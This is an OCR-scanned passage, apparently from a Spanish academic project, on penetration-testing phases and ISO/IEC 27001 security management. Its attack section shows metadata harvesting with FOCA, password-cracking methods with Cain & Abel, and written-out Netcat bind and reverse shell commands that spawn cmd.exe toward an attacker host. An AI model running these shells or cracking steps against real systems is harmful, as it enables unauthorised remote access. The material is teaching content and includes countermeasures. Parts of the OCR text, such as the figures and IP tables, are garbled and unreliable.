210.212.155.in-addr.arpa | ns-soa | ns1.onecommunications.net | 64.65.208.2 ns1.choiceone.net 64.65.208.0/24 | AS13407

2 days old United States ASN-CTC AS

ns ns1.onecommunications.net | 64.65.208.2 ns1.choiceone.net

2 days old United States

ns2.onecommunications.net | 64.65.223.2 64.65.216.0/21

7 days old United States

ns3.onecommunications.net | 64.65.196.2 64.65.196.0/24

83 days old United States SPFMAXLE102

Fig. 90: Vista de informacion DNS con Robtex.
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Blacklists  more...

Base Record Preference Name IP Number Reverse Routes AS
€9.90.210.25
€5.90.210.96 69.90.208.0/21 Peert [as13768
£5.90.210.11% Route Object |PEER1
69.90.210.166 PEER1- |Peer
" . STARTPAGE .CoM |69.90.210.150 SURFBOARDHOLDING-D3 Network Inc.
€9.50,210.237 | |
;s‘}. 146.0.0/168 RoutlT aszesss
85.146.4.147 |RT4BB146-85-147 . ROUTIT.NET po ire v 13 ol Q’Qﬁﬂfﬁm
Jacations RoutlT |
| = 69.20.209.49
[WWH . START PAGE . COM P P €9.28.208.0/22 Peert
é9I:B-2“9l“9 e Do |ns13768
sl ferin s PEER1-BLK-OF J
65.26.205.143 :EEEI;M
€9.90.208.0/21Peert | oo
n— £9.90.210.143 Route Objedt [Network Inc
. PEER1-
b i SURFBOARDHOLDING 03
Ty P19 laspmeas
212.121.101.10 ROUTIT-CUST-LEVIX E.EELI:I‘&R;)\‘PTH
ROUTIT |
ATARTRASLF . (O +

Fig.91: Vista relaciona DNS vs. IPs con Robtex

Foca:

Herramienta desarollada por ElevenPath y aplicada entre otras funciones sobre todo para la
extraccion de informacion respecto de documentos electronicos segin documentacion pablica de
la organizacion a través de andlisis de matadatos.

Sample: FBl.gov

sita:fbi.gov filetype:xls

Google

Buscar en: @ laWeb

Blsiueda svanzada
Ereferanciss

paginas en espafiol ) paginas de Espafia

La Web Resultados 1 - 10 de ag {7 190 de filetype:xls en el dominio fhi.guv]{l),ﬁ sequndos)
GO()gle site:fbi.gov filetype:doc. ] ;@M anci :,.

Buscar en: @ laWeb O pdginas en espafiol ) paginas de Espafia
La Web R des 1 - 10 de ap {161 de filetype:doc en el dominio ibi.gnv.lo.ﬁ sequndos)
Google site-fbi.gov filatype: pdf wgi"n"'

Buscar en: @ laWeb O péginas en espaiiol ) paginas de Espaiia
La Web R jos 1 - 10 de aproximad: f) 490 de filetype:pdf en el dominio H:i.gov]{ﬂ,ﬁ sequndos)

Total: 4841 files
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Sample: Printer info found in odf
files returned by Google

$ grep Impresora resultados.txt | grep \\\\

10.0dt Inpresora N\\srvprint\VISA28 329LC3

12.0dt Inpresora \\servidor\HP 2068C

19.0dt Inpresora %\18.177.1.126\EPSON EPL-6200 Advanced
23.0dt Inmpresora \\1-215-01\hp Laserlet 1000

34.0dt Inpresora \\srv2.rm.oasi-servizi.it\RICOH roma corriodio nord
3.0dt  Inpresora \\filserver\4100

63.0dt Inpresora \h\gamma\HP Deskjet F380 series

27.0ds Inpresora \\Silegio\HP psc 2350 series

33.0ds Inpresora \\ABBY\BigGrayUglyThing

40.0ds Inpresora A\MUSTAFA\Samsung ML-1710 Series
46.0ds Inpresora \\http://108.0.0.42:631\Chaucer

80.0ds Inpresora \\192.168.250.1\HP Officelet G55
86.ods Impresora \\WLGPRINTI\L1O GA T632

89.0ds Inpresora \\B-THOMAS\hp LaserJet 1380 PCL 6
17.odp Inpresora \\tatra\Minolta Dil52 PCL6

22.0dp Inpresora 4418.177.1.126\EPSON EPL-6208 Advanced
4.0dp  Inpresora \\Verra\LEMURIA

55.0dp Impresora \\CHEGUEVARA\1p_serv

57.odp Inpresora \\Sm-uburel-0l.east.sun.com\burlle
69.0dp Impresora \\ipp://iprint.innerveb.novell.com\prv-mktg-hp8ooodn-2
86.0odp Inpresora \\EFOITDPO2054\hp4leedtn

3

$ grep iMac resultados.txt

49.0ds Inpresora hp psc 2580 series @ Luisa's iMac

Fig.92: Varias muestras de funciones de FOCA.
Plug-ins de navegador

PassiveReconn (Chrome, Firefox) y HackSearch (Firefox) son plug-ins de navegador de pentest
que agrupan las herramientas de enumeracion [23][24].

Contramedidas:

- Las de Rastreo.
- Control del software.
- Formacion de los usuarios.

e Acceso:

Obijetivo: ya se dispone de informacion suficiente para intentar un acceso documentado
al sistema. Hay que pasar ahora a preparar el acceso a la red, por su puesto, en la forma
maés discreta, facil y segura para el propio intrusor.
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Técnicas: robo de passwords (eavesdroping) y crackeado de passwords (Crack, John the
Ripper). Forzado de recursos compartidos, obtencion del fichero de passwords, troyanos
y puertas traseras (BackOrifice, NetBus, SubSeven). Ingenieria Social. Se utilizan aqui
herramientas como: ettercap, wireshark, dnssniffer, sslsniff.

Revision del proceso de gestion de contrasefias:

Los hashes se caracterizan por ser unidireccionales, es decir, una vez cifrada la contrasefia y
obtenido el hash correspondiente no es posible invertir el proceso. Cuando el sistema operativo
verifica si la contrasefia escrita en un sistema de autenticacion de usuarios es correcta, lo primero
que hace es aplicar la funcion hash a la clave introducida, a continuacién compara el resultado
con el hash que tiene almacenado, por ejemplo en el caso de Windows, el hash almacenado en el
fichero SAM (en X:\Windows\system32\config y la clave del registro donde se guarda el
contenido de este fichero convertido a bytes, HKEY_LOCAL_MACHINE\SAM. Actualmente
cambiadas en versiones actuales de Windows como la version 10) y si ambos coinciden, autoriza
al usuario y permite el acceso. Los sistemas de cracking que se utilizan para descifrar contrasefias
por hash se basan en la misma practica comparativa.

Los protocolos més utilizados en sistemas Windows son LM, NTLM y NTLMv2. conocidos como
Autenticacion de LAN Manager. Son los protocolos que usa Windows para autentificar a todos
los dispositivos cliente cuando realizan alguna de las siguientes acciones:

- Unirse a un dominio.

- Autenticar entre bosques de Active Directory.

- Autenticar dominios en funcion de versiones anteriores el S.O. Windows.

- Autenticar equipos que no estan en el dominio.

Se puede encontrar mas sobre este referente en: https://docs.microsoft.com/es-
es/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-
authentication-level. Donde en funcién de cada version del sistema operativo se encuentran
diferentes implementaciones.

Lista de\ ﬂashes del
( claves para | sistema
\Erobar wﬁ\m} /

BD68K9I1C

["Sison diferentes

.l _Repite el praceso
1 Si son iguales se

Hash (H e .
“Juan123” —I: {X}] ABDA4EDS - w

Fig.93: Esquema de comprobacion de contrasefia segln hash ingresado vs. almacenado.

N
t 1.3

Entran en funcionamiento en esta seccion otro conjunto de herramientas, por su puesto dentro del
catélogo de las llamadas "navajas suizas" como Cain & Abel, John the Ripper. PwDump7 (para
extraer datos del fichero SAM).

Meétodos de cracking de contrasefias:

- Atague de diccionario: la técnica mas veloz de todas. Su proceso es muy sencillo, ya
gue Unicamente necesita un diccionario o lista de contrasefias a comparar con la
contrasefia real en formato hash, hasta que una de ellas coincida, pero este método no
garantiza la obtencion de la contrasefia, ya que es posible que esta no figure en el
diccionario utilizado. Sélo seria eficaz para contrasefias débiles. Una frase muy
comentada en algunos foros de seguridad es que somos tan poderosos como lo sea el
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contenido de nuestro diccionario. Por lo tanto lo mas importante es hacerse con
diccionarios en distintos idiomas y de distinta indole.

- Atague de fuerza bruta: técnica muy utilizada y eficaz. Consiste en realizar
combinaciones de caracteres alfanuméricos entre un rango que depende de la longitud
de la contrasefia. Con este método se asegurara la obtencion de la clave cifrada, el
mayor inconveniente es el tiempo de procesado requerido. Para solventar este
problema, podemos acotar el rango de caracteres posibles (letras mayusculas o
minusculas, utilizacion solo de digitos, etc.) y establecer una posible longitud de la
contrasefia.

- Ataque hibrido: combinacion de los dos métodos anteriores, programas como
OphCrack implementan esta técnica para generar posibles combinaciones de claves
afiadiendo o combinando caracteres de palabras que forman parte del diccionario
seleccionado.

Cain & Abel:

Cain & Abel es una suite cuyo objetivo es recopilar varias utilidades de seguridad en un Unico
programa, el cual permite la obtencion y craking de las contrasefias del sistema clasificados por
usuarios, sniffing de paquetes de red.

i Lol
Fie “ew Configure Tools Help
we|+v 2 @ ez umrE-ra@s®e O
[ Protectedstorage | B wetwork [ saifer [ g 15asewers [of cracer [ vacerae |HR ccou [T wireless |
@)‘".Cracker ) Usar Mame J LM Password ] <8J MT Password ] LM Hash | NT Hash ] Challangs ] Type
i it L:;::::(cn’)@ 'i"if"""it':"' Dictionary Attack (LM) .

X - D?rx!nnaty Atrack (LM + Challange) = THiR e
Dictiorary Attack (MTLIM)
Dictionary Attack (HTLM + Chalangs)

Dictionary Atkack (MTLF Session Security)

&, P files (0)

T Cisco [05-MDS Hashes (0)

TR Cisco PIX-MDS Hashes (0)
&1 APOP-MOS Hashes (0)

% CRAM-MDS Hashes (0]
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Fig.94: Muestra framework de Cain & Abel.
Netcat:
Ejemplo de configuracion seria:

Conexion directa:

En el ordenador de la victima: c:\\>nc -d -1 -p 37337 -e cmd.exe
En el ordenador atacante: c:\>nc direccién_victima 37337
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En la primera instruccién se deja a Netcat a la escucha en el puerto 37337, poniendo en dicho
puerto un cmd.exe en el que cuando se realice una conexién TCP/IP se ejecuta inmediatamente
una linea de comandos en la méquina de la persona que realiza la conexion.

Conexion reversa:

Desde el ordenador atacante: c:\>nc -v -l -p 37337
Desde el ordenador de la victima: c:\>nc direccion_atacante 37337 -e cmd.exe
En concreto se pueden encontrar por Internet en los foros con palabras clave como reverse.

Cryptcat: es lo mismo que Netcat con diferencia de que afiade encriptacion en la comunicacion
otorgando al atacante mayor privacidad.

Técnicas:

- Cuentas de usuario ficticias, robadas o inactivas.

- Creacion de batch.

- Ficheros de arranque infectados, librerias o ncleos modificados.

- Servicios de control remoto y Troyanos (Back Orifice).

- Servicios de red inseguros (sendmail, rhost, login, telnetd, cronjob).
- Ocultacion de trafico de red y de procesos.

Contramedidas: basicamente las del acceso (control riguroso del software ejecutado,
monitorizacion de los accesos, sobre todo los de los puertos). Busqueda de ficheros
sospechosos (tarea de ejecucion por metodologia forense).

e Denegacion de servicio:

Objetivo: si no se consigue el acceso, el atacante puede intentar deshabilitar el objetivo.
Técnicas: Inundaciones de SYNs, SYN Request con fuente/destino idéntico, técnicas
ICMP.

Contramedidas: configuracion cuidadosa de los cortafuegos y routers.

Llegados a este punto y antes de pasar al siguiente principal que nos abarca en este proyecto,
destacar la existencia de herramientas de gestion como Dradis, herramienta que permite
inventariar y compartir informacion eficazmente. Permitiendo la gestion de todos los valores
principales recogidos durante las etapas anteriores. Dradis ofrece las siguientes funciones:

- Generacion simple de informes.
Generacion de elementos adjuntos.
Integracion con algunas herramientas y sistemas existentes (plug-ins de servidor).
Multiportabilidad.

Incluso se encuentra a nivel de uso corporativo, como por ejemplo el indicado en el siguiente
enlace:
http://www.reydes.com/d/?q=Compartir_Informacion_de_una_Prueba_de_Penetracion_utilizan
do_Dradis (Compartir Informacién de una Prueba de Penetracion utilizando Dradis).

Una de las mas importantes capacidades de Dradis, es la de permitir exportar e importar. Se
pueden importar formatos desde las herramientas mas populares como Acunetix, Burp Suite,
Metasploit, Nessus, Nexpose, Nikto, Nmap, OpenVas, Qualys, entre otras.
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Fig.95: Figura pantalla de gestion de Dradis.

La verdadera magia de Dradis ocurre cuando varios usuarios ingresan datos al mismo tiempo. Los
datos son sincronizados en el servidor, y los usuarios son consultados para refrescar sus pantallas
y obtener los tltimos datos. El acceso debe ser otorgado hacia el cliente, permitiéndole mantenerse
al tanto del estado actual en todo momento. Luego cuando la evaluacion se haya realizado, una
copia de toda la base del framework puede ser dejada hacia el cliente como parte del informe.
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7.- NORMATIVA DE SEGURIDAD. Auditoria de certificacion en 1SO.

7.1.- Introduccion

La seguridad de la informacion puede ser enfocada desde diferentes puntos de vista, con diferentes
objetivos y segun distintas aproximaciones [25].

Una organizacion que ponga en practica algunos controles de seguridad bésicos, como un firewall,
un antivirus, un control de acceso fisico y una politica de contrasefias, todo ello dirigido y
gestionado desde el area de Sistemas de Informacion, podria considerar que esta gestionando la
seguridad de la informacidn. Pero de sobra es conocido que "una cadena es tan fuerte como el
maés débil de sus eslabones™ y por tanto, la aplicacion de dichos controles de forma arbitraria, sin
antes haber analizado cuales son las principales debilidades, no es garantia de seguridad.

Infraestructura

Administracién Factor Humano

Fig. 96: Principales factores influyentes en la seguridad.

Datos ACL, Cifrado
Aplicacion Mejora en aplicacién, Software antivirus
Host Mejora del sistema, Gestidén de actualizacién, autenticacién
Red Interna Segmentos de red, IPSec, NIDS
Gateway Cortafuegos, Cuarentena VPN
Proteccion fisica Guardias, Dispositivos de control

Reglas, Procedimientos
concienciazion Formacion de personal

Fig. 97: Referencia de aplicativo de seguridad [26].

En la actualidad, se reconoce que la forma mas eficaz de controlar los riesgos que amenazan la
informacién, y por consiguiente el negocio, es mediante la implantacién de un sistema de
controles internos en la organizacion para gestionar el riesgo. Entendiendo por riesgo como la
probabilidad de ocurrencia de un evento y sus consecuencias. El riesgo ya no se percibe como un
aspecto negativo en el sentido de "probabilidad de pérdida", sino simplemente como un efecto de
incertidumbre en la consecucion de un objetivo. A considerar esta incertidumbre como una
oportunidad, tanto en negativo como en positivo.

La gestion del riesgo ha estado tradicionalmente asociada a la gestion de riesgos financieros. Sin
embargo, tal y como se ha dicho ya anteriormente, la importancia que han ido adquiriendo los
sistemas de informacion ha llegado hasta el punto de que los riesgos que se gestionan en una
organizacion ya no son principalmente financieros, sino que se complementan con los riesgos a
los que estd sometida la informacion. Esto es debido a la elevada integracion entre el estado
financiero de una organizacion y los activos de informacion. Los riesgos en la confidencialidad,
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integridad o disponibilidad de un determinado activo de informacion pueden repercutir
directamente en los aspectos financieros.

Vamos a ver el Sistema de Gestion de la Seguridad de la Informacion (SGSI) como herramienta
para la mejora del gobierno de las TIC. Herramienta de influencia en el gobierno corporativo
respecto de reduccion de los riesgos de informacién y por tanto de los riesgos en el negocio.

Destacar la aplicacion de las organizaciones 1SO e IEC respecto a su establecimiento de un marco
de referencia para la gestion de la seguridad: la familia de normas 1SO 27000. Destacando de este
marco la norma ISO/IEC 27001 que da los requerimientos para la implantacién de un SGSI.

Para garantizar el buen gobierno corporativo, cada vez mas es necesario que también se garantice
el buen gobierno o gestion de los sistemas de informacidn o, de manera general, de la informacion.

El gobierno de las TIC es correcto cuando su gestion se encuentra alineada con los objetivos de
negocio, se conocen los riesgos que afectan a los sistemas de informacion, y se gestionan

adecuadamente.
Responsable Comité de
SGSI Seguridad
[ 1
Auditores Area de Areas
Internos Tecnologia Funcionales
Fig. 98: Conformacién SGSI.
| [ i
Area de Tecnologia Area de BackOffice Area comercial ﬁ;rea <D et
e la Informacion
Desarrollo de .
.. = Finanzas
Aplicaciones
Administracion de
—* Sistemas —{ Recursos Humanos
Operativos
o o Infraestructura
[ Administracion de L y
Bases de Datos Servicios Auxiliares

Fig.99: Conformacion diagrama organizativo de la empresa.
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Valores primeros a considerar:

Dimension Descripcion

Confidencialidad Revelacion de informacion a personas no autorizadas. ¢Qué importancia
tendria que la informacion asociada al activo fuera conocida por personas
no autorizadas?

Integridad Modificacion de informacion o uso del servicio por parte del personal
autorizado cuando lo necesita. ¢Qué importancia tendria que la
informacion asociada al activo fuera modificada sin control?.

Disponibilidad Imposibilidad de acceso a la informacion o uso del servicio por parte del
personal autorizado. ;Qué importancia tendria que el activo no estuviera
disponible?.

Trazabilidad Propiedad o caracteristica en que las actuaciones de una entidad pueden

ser imputadas exclusivamente a dicha entidad.

¢Porqué necesitamos un SGSI?

NEGOCIO
DEPENDE DE

Factores de éxito:

Calidad del producto/servicio prestado, tiempos de entrega...

Seguridad de los datos, de los clientes, proteccion de la propiedad intelectual
Condiciones econémicas, capacidad de negociacion

Otras ventajas competitivas

PUEDE SER AFECTADA POR:

Politica de Seguridad Débil

Incidentes o Accidentes (Intencionados o no)

Negocio

IMPACTA EN:

Pérdida de Confianza de los clientes
Pérdida de competitividad
Problemas legales

Criterio Descripcion

Negocio Pérdidas econémicas, dafio para el negocio

Imagen Dafio reputacional/pérdida de imagen vy
confianza

Legal Incumplimiento  legal, normativo o
regulatorio

Las auditorias internas son una herramienta para el gobierno de las TIC, y sirven para que la
propia direccion de una organizacién conozca el modo en que se gestionan los riesgos, y para
demostrar a otras organizaciones su postura frente a los riesgos que afectan a la informacion.

La norma ISO/IEC 27001 recoge los requerimientos para la aplicacion de dos grandes tipos de
auditorias destacadas, la auditoria técnica y la auditoria de certificacion. La auditoria técnica
referido a la proteccion de la informacion, en concreto respecto de la seguridad de la misma'y la
auditoria de certificacion referido a la gestion de la seguridad de la informacion.
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Es de preverse que la norma se actualizard en un futuro y conviene estar alineado con la mismay
con respecto a mantenerse alineado con la tecnologia y con su entorno de riesgo tecnolégico.

Destacar la auditoria de certificacion en la que no se trata de comprobar la implementacion de
controles concretos, sino que se centran en la verificacion del propio esquema de gestion con el
que se estén controlando los riesgos. Es decir, las auditorias de certificacion incluyen la
comprobacion de los mecanismos de gestion de los riesgos, y las auditorias internas son uno méas
de estos mecanismos. Por tanto, en vista del resultado de una auditoria de certificacion (es decir,
mediante el certificado emitido por la organizacién auditora), una organizacion externa puede
estar segura, en cierto modo, de que se estan realizando auditorias internas y de que éstas son
adecuadas de cara a gestionar los riesgos sobre la informacion.

La seguridad de la informacion se gestiona no sélo cuando tratamos la informacién, sino que se
gestiona durante todo su ciclo de vida: desde el momento en el que la informacion entra en la
organizacion hasta que desaparece.

En el contexto que nos encontramos, el de la seguridad del sistema de informacién via red
telematica dos puntos clave entre otros, por ejemplo los siguientes:

- Aceptar el riesgo: por ejemplo porque el coste o la complejidad de implementar el control
lo hace inviable, o extremadamente costoso, la organizacion decide aceptar un
determinado nivel de riesgo. Esta opcidn debe ser tomada con extremado cuidado, y s6lo
si antes se han evaluado todos los posibles controles que mitiguen el riesgo (aunque s6lo
sea parcialmente). Se dice entonces que existe un riesgo residual que no puede ser
controlado y se ha de aceptar.

- Mitigar el riesgo: aplicar controles que pueden tener como objetivo la reduccién de la
probabilidad de ocurrencia, la reduccién del impacto o, mas directamente, la reduccion
de la importancia del activo amenazado. A partir de estas medidas, el nivel de riesgo
resulta menor que si no existiera salvaguarda para controlarlo. El grado méaximo de
reduccion, dificilmente alcanzable, seré el punto en el que podamos eliminar el riesgo.

7.2.- Sistema de gestion

El proceso puede ser institucionalizado. Es decir, puede ser descrito, documentado y, finalmente,
implementado a partir de los siguientes elementos: primero, un conjunto coherente y organizado
de controles de seguridad; segundo, unos procesos para gestionar y revisar estos controles;
tercero, unas personas encargadas de realizar estos procesos; y cuarto, unos recursos con una
componente mas 0 menos técnica que permiten implementar los controles y gestionarlos. Lo méas
destacado de este proceso es que sera ciclico. El proceso contendrd mecanismos que permiten el
analisis del modo en que se esta desarrollando y, en base a las conclusiones, se reajustara el
proceso. De esta manera, se ira mejorando de manera continua y paulatina la eficacia de los
controles de seguridad.

Analisis

del riesgo

Yy

Evaluacion .
del riesgo Trata.mlento
residual del riesgo

Fig.100: Proceso de gestion continua del riesgo.

Cuando se establece este tipo de procesos en una organizacion, se dice que existe un sistema de
gestién. El sistema de gestion, en este caso, tiene por objeto garantizar la seguridad
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(confidencialidad, disponibilidad e integridad) de la informacion, y se denomina sistema de
gestién de la seguridad de la informacion (SGSI).

Dentro de los diversos modelos existentes como por ejemplo los de Six-Sigma el que més se ha
empleado en el contexto de los SGSI histéricamente es el llamado ciclo de Deming en el que en
una revision por parte de la norma 27001 llevada a cabo el 2013 se alined con el modelo
actualmente Illamado PDCA (Plain, Do, Check, Act, en castellano, Planificar, implementar,
verificar, actuar). Aunque actualmente segun la referencia bibliogréfica actualmente ya no se usa
como tal, si que constituye y se sigue este esquema PDCA aqui indicado.

Establecer el SGSI
P.I. Definir la politica de
seguridad
P.11. Definir el alcance
P.I1I Definir la organizacion Implantary operar el
P:IVIDeﬁnir las politicas de alto SGSI
nivel.
P.V. Definir los objetivos de ek I_r!‘lplanta!r el plande
seguridad. Planificar gestion del riesgo
P.VI Identificar los riesgos (plan) D.1l. Seleccionar e
P.VII Seleccionar salvaguardas implantar indicadores

Monitorizar y revisar el
SGSI

C.I. Desarrollar procedimientos
de monitorizacion
C.Il Revisar regularmente el

Mantenery mejorar el SGSI
A.l. Implantar mejoras,
acciones correctivas y

preventivas SGS|
A.ll. Mantener registros C.111. Auditarinternamente el
SGSI

Fig.101: Modelo de sistema PDCA. Ciclo de Deming aplicado a los Sistemas de Gestion de
Seguridad de la informacion.

De forma general, este modelo parte de la premisa de la utopia de la seguridad respecto de la
calidad total o la seguridad completa de la informacién de una organizacion. El proceso pretende
avanzar hacia el objetivo inalcanzable en si mismo. En este caso, la mera ejecucién del proceso
permite ir mejorando de manera continua y contrastada la eficacia y eficiencia del proceso.

VERIFICAR ACTUAR

MEJORAS CONTINUAS

Fig.102: Esquema de pasos del proceso de gestion.
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Un sistema de gestion de la seguridad de la informacion, por tanto, serd un proceso con las
caracteristicas siguientes:

+ Basado en un modelo iterativo de mejora.

+ Integrado tanto por personas como por procesos y tecnologia.

+ Con mecanismos para la toma de decisiones basados en la realizacion de un analisis de
riesgos metodico.

« Con mecanismos de control riesgos recogidos en un conjunto de buenas practicas y
reconocidos por el entorno en que se encuentre la organizacion.

7.3.- Retorno sobre la inversion de un SGSI

Cuando una organizacion implanta un SGSI siguiendo las directrices de un estdndar (esté
posteriormente certificado o no), obtiene una serie de ventajas que deben ser los motivadores
méaximos para la direccion. La motivacion mas importante seran los beneficios econdmicos.

La implantacion de un SGSI no reporta beneficios econémicos directos (aumentos directos de la
cifra de negocio). Cuanto menos, es muy complejo y discutible encontrar generacion de recursos
como consecuencia de la implantacién de controles de seguridad. En el caso de seguridad,
hablamos mas concretamente de ROI (Return Over Investment) de ROSI (Return Over Security
Investment). Estando esto motivado por la dificultad de encontrar unos beneficios que se puedan
relacionar con la inversion realizada.

Es mas habitual expresar el ROI de seguridad en términos de los ahorros o recursos que se dejarian
de perder en caso de suceder un incidente. Es obvio que un gasto que se deja de realizar es un
beneficio indirecto. El problema es que este beneficio sélo se obtiene en caso de materializacion
de la amenaza, y esto es precisamente lo que se desea evitar. Por lo tanto, el modo en que se
calcula el ROI es puramente tedrico, puesto que el beneficio no se esta obteniendo realmente. A
pesar de ello, es posible evaluar este beneficio a través de un analisis de riesgos detallado y
cuantitativo en términos monetarios.

Una de las maneras mas habituales de calcular el ROl de un SGSI es suponer que se materializan
las amenazas, y evaluar los costes de recuperar la situacién de normalidad con y sin las
salvaguardas.

+ Coste sin control: coste de recuperar la situacion de normalidad en caso de materializarse
unas determinadas amenazas sin existir los controles que estan bajo estudio.

+ Coste con control: coste de recuperar la situacion de normalidad en caso de materializarse
unas determinadas amenazas con los controles que se estan evaluando.

La diferencia entre ambas es el beneficio de tener implementadas salvaguardas. Al momento,
reportar una referencia del calculo del ROI materializando por probabilidad anual. Partiendo del
Beneficio anual esperado:

Beneficio anual esperado = (Coste sin control — Coste con control) * Probabilidad anual de
incidentes.

Tendremos que:
ROI=(Beneficio anual esperado-Coste con control)/Conste con control.
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El célculo es tedricamente simple de realizar, pero en la practica nos encontraremos con muchas
dificultades: hay muchas variables a la hora de calcular los costes; es dificil predecir todos los
costes de recuperacion, y es especialmente complejo y arriesgado dar unas cifras de probabilidad
de materializacion. Es posible plantear el célculo para la toma de decision sobre un control
concreto (o conjunto de ellos), pero es complejo plantearlo para la toma de decisién de implantar
todo un SGSI. Por tanto, la direccién debera considerar otra serie de

beneficios menos tangibles y mesurables.
A destacar algunos de los beneficios principales de la implantacion de un SGSI:

« ElI SGSI permite conocer y analizar los riesgos que afectan a la informacion. Se identifican
amenazas y vulnerabilidades, de manera que se puede evaluar el impacto de las mismas en la
actividad empresarial, al menos de manera cualitativa y priorizada.

< De una manera priorizada, coherente y organizada, se puede prevenir, eliminar o reducir
eficazmente el nivel de riesgo. Esto se consigue mediante la implantacion de los controles
adecuados, preparando el negocio ante posibles emergencias y garantizando la continuidad del
mismo.

« El conocimiento de los riesgos asegura el compromiso de la organizacién con el cumplimiento
de la legislacion vigente. Por lo tanto, asegura el cumplimiento de la normativa de proteccion de
datos de caracter personal, servicios de la sociedad de la informacién, comercio electrénico,
propiedad intelectual y, en general, aquella relacionada con la seguridad de la informacion.

* El proceso de andlisis de riesgos y de gestion de los mismos permite definir objetivos y metas
con los que aumentar el grado de confianza en la seguridad.

« EI SGSI definido en la Norma ISO/IEC 27001 esta basado en un modelo de gestién comdn a
otros sistemas de gestion que, habitualmente, ya se encuentran en la organizacion. Por lo tanto,
existe la posibilidad de integrar la gestion de la seguridad de la informacion con el resto de
sistemas de gestion implantados. Asi, se pueden conseguir sinergias y ahorros de costes en
algunos aspectos, como pueden ser los procesos de certificaciones y las auditorias de primera
parte del sistema de gestion.

7.4.- Familia de estandares ISO/IEC 27000

ISO/IEC ha reservado la familia de normas ISO 27000 para tratar distintos aspectos de esta
tematica, del mismo modo que se ha realizado con la calidad y la familia ISO 9000, o la gestidn
medioambiental con la 1SO 14000. El trabajo sobre la familia 1ISO 27000 es coordinado por un
subcomité (el subcomité 27 — SC27- dentro del JTC1: Joint Technical Committee 1) que se
organiza en base a grupos de trabajo dedicados a distintas tematicas: sistemas de gestion de la
seguridad de la informacién, criptografia y mecanismos de seguridad, criterios de evaluacion de
la seguridad, servicios y controles de seguridad, gestion de identidades y tecnologias relacionadas
con la privacidad, etc.

4.- | CONTEXTO DE LA ORGANIZACION
5.- | LIDERAZGO

6.- | PLANIFICACION

7.- | SOPORTE

8.- | OPERACION

9.- | EVALUACION DEL DESEMPENO
10.- | MEJORA
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5.- | POLITICA DE SEGURIDAD

6.- | ASPECTOS ORGANIZATIVOS DE LA SEGURIDAD
7.- | SEGURIDAD LIGADA A LOS RECURSOS HUMANOS
8.- | GESTION DE ACTIVOS

9.- | CONTROL DE ACCESOS

10.- | CIFRADO

11.- | SEGURIDAD FISICA Y AMBIENTAL

12.- | SEGURIDAD EN LA OPERATIVA

13.- | SEGURIDAD EN LAS COMUNICACIONES

14.- ADQUISICIO[\I, DESARROLLO Y MANTENIMIENTO DE LOS SISTEMAS DE
INFORMACION

15.- | RELACIONES CON SUMINISTRADORES

16.- | GESTION DE INCIDENTES EN LA SEGURIDAD DE LA INFORMACION
17.- | GESTION DE LA CONTINUIDAD DE NEGOCIO

18.- | CUMPLIMIENTO

El conjunto de normas ISO 27000 estan creadas por expertos, bajo la coordinacion de la
organizacion 1SO e IEC. Hay que entender que las normas que crea ISO se hacen bajo las
siguientes caracteristicas y principios:

» Consenso: se tiene en cuenta el punto de vista de todas las partes involucradas: proveedores,
fabricantes, usuarios, grupos de consumidores, laboratorios de ensayos y cientificos, gobiernos,
profesionales reconocidos del sector y organizaciones investigadoras.

» Amplia aplicabilidad: las soluciones, normas, estandares, o informes técnicos emitidos deben
ser de aplicabilidad global, en todo el mundo.

« Voluntariado: la creacion de estandares es un esfuerzo autorregulado por el mercado, por lo que
todos los participantes son partes relevantes de este mercado y actlan de manera voluntaria. Los
voluntarios son aceptados en base a unos criterios que demuestren la pertinencia de su aceptacion
y la valia profesional.

Como resultado, los se reportan los Niveles de cumplimiento en funcion del estado actual y del
final.

— f CTUS Inicial
— ACTUS| Inicial
4. CONTEXTO DE LA 5. POLITICA DE..
ORGANIZACION 18. CUMPLIMIENTE00 % 6. ASPECTOS..

100 % : 80,
% 17. GESTION DE LA 7. SEGURIDAD
10. MEIORA 5. LIDERAZGO
16. GESTION DE.. 8 GESTION DE._
&, EUALTIA AN BEL _ 15. RELACIONES CON 5. CONTROL DE
BE‘,E;‘pE:-\g“ 6. PLANIFICACION
SEM i(
14. ADQUISICION, . 10. CIFRADO
] 13. SEGURIDAD EN.. 11. SEGURIDAD...
8. OPERACION 7. SOPORTE

12. SEGURIDAD EN

Fig.103: Comparativa aplicacion estadios de seguridad.
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Todo este marco normativo esta en continuo desarrollo y pone a disposicion de las organizaciones
las herramientas para que puedan implementar sus SGSI con arreglo a las mejores practicas
reconocidas. Este marco normativo contempla, ademés, todos los aspectos de los SGSI:
implementacion, revision, auditoria y certificacion.

7.5.- Beneficios de la certificacion

Los beneficios de los SGSI que se han expuesto anteriormente repercuten di- rectamente en el
funcionamiento interno de las organizaciones. Sin embargo, existe el problema de transmitir al
mercado la mejora que supone esta nueva forma de gestion de la seguridad. La necesidad de
certificar la gestion de la seguridad surge de la dificultad de transmitir confianza en la forma en
que las organizaciones protegen su informacion. Transmitir esta confianza a clientes, proveedores
y sociedad en general es especialmente crucial cuando el servicio o bien que se intercambian las
organizaciones no es material, sino que se trata de simple y pura informacion.

La certificacion de un SGSI no es un proceso muy distinto al de otros tipos de certificaciones y,
por lo tanto, goza de unas ventajas que son ampliamente reconocidas; son las siguientes:

« Factor diferenciador frente a la competencia: la obtencidon de un certificado se puede
publicitar. De hecho, las entidades de certificacion dan toda una serie de indicaciones del
modo en que es posible utilizar el certificado para autopromocion.

+ Reducir el nimero de auditorias de segundas partes: el certificado demuestra al resto de
organizaciones (especialmente clientes) la capacidad para gestionar correctamente la
seguridad de la informacidn. Por lo tanto, no es necesario (0 al menos estd menos justificada)
la realizacidn de auditorias de segundas partes.

o Cumplir con requerimientos del mercado (de clientes o regulatorios): la obtencion de un
certificado facilita el establecimiento de relaciones comerciales con compariias de gran
tamanio o instituciones gubernamentales y, en general, abre nuevas posibilidades de negocio
en entornos en que la certificacion se ve como un requerimiento.

Por otro lado, en ciertas ocasiones, el requisito no es exactamente disponer de un SGSI
certificado, sino cumplir con un determinado marco legal.

+ Facilita o abarata las primas de riesgo de seguros. Las organizaciones recurren, o incluso se
encuentran a veces obligadas, a contratar seguros para operar en un determinado mercado o
con un determinado cliente.

La operacion de un SGSI es una tarea compleja que necesita adaptarse a lo largo del tiempo. La
necesidad de adaptacion puede estar motivada por una mala implementacion de algin aspecto del
SGSI, o bien por una variacion del entorno o de los objetivos del negocio. Estas desviaciones
hacen necesaria la ejecucion de auditorias internas de forma periddica. La confianza plena de que
